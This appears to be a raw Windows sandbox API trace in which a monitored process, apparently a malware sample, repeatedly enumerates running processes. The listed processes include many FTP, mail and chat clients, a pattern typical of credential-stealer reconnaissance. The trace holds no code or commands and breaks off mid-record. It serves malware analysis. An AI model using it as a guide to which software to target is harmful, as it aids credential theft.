[0292.556] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0292.558] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0292.560] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0292.562] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0292.563] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0292.565] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0292.567] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0292.615] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0292.617] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0292.619] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0292.621] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0292.622] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0292.624] CloseHandle (hObject=0x344) returned 1 [0292.624] Sleep (dwMilliseconds=0x64) [0292.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0292.676] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.678] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0292.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.681] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.683] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.685] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.686] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.688] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.689] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.742] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0292.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.748] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.753] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.754] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.756] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.757] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0292.759] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0292.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0292.762] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.763] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0292.765] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0292.767] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0292.768] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0292.770] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.771] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0292.773] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0292.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0292.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0292.822] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0292.823] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0292.825] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0292.827] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0292.828] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0292.830] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0292.832] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0292.834] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0292.836] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0292.837] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0292.839] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0292.840] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0292.842] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0292.844] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0292.845] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0292.847] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0292.849] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0292.851] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0292.853] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0292.854] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0292.856] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0292.857] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0292.859] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0292.860] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0292.862] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0292.984] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0292.986] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0292.988] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0292.990] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0292.992] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0292.994] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0292.996] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0292.998] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0293.000] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0293.003] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0293.004] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0293.006] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0293.008] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0293.010] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0293.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0293.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, 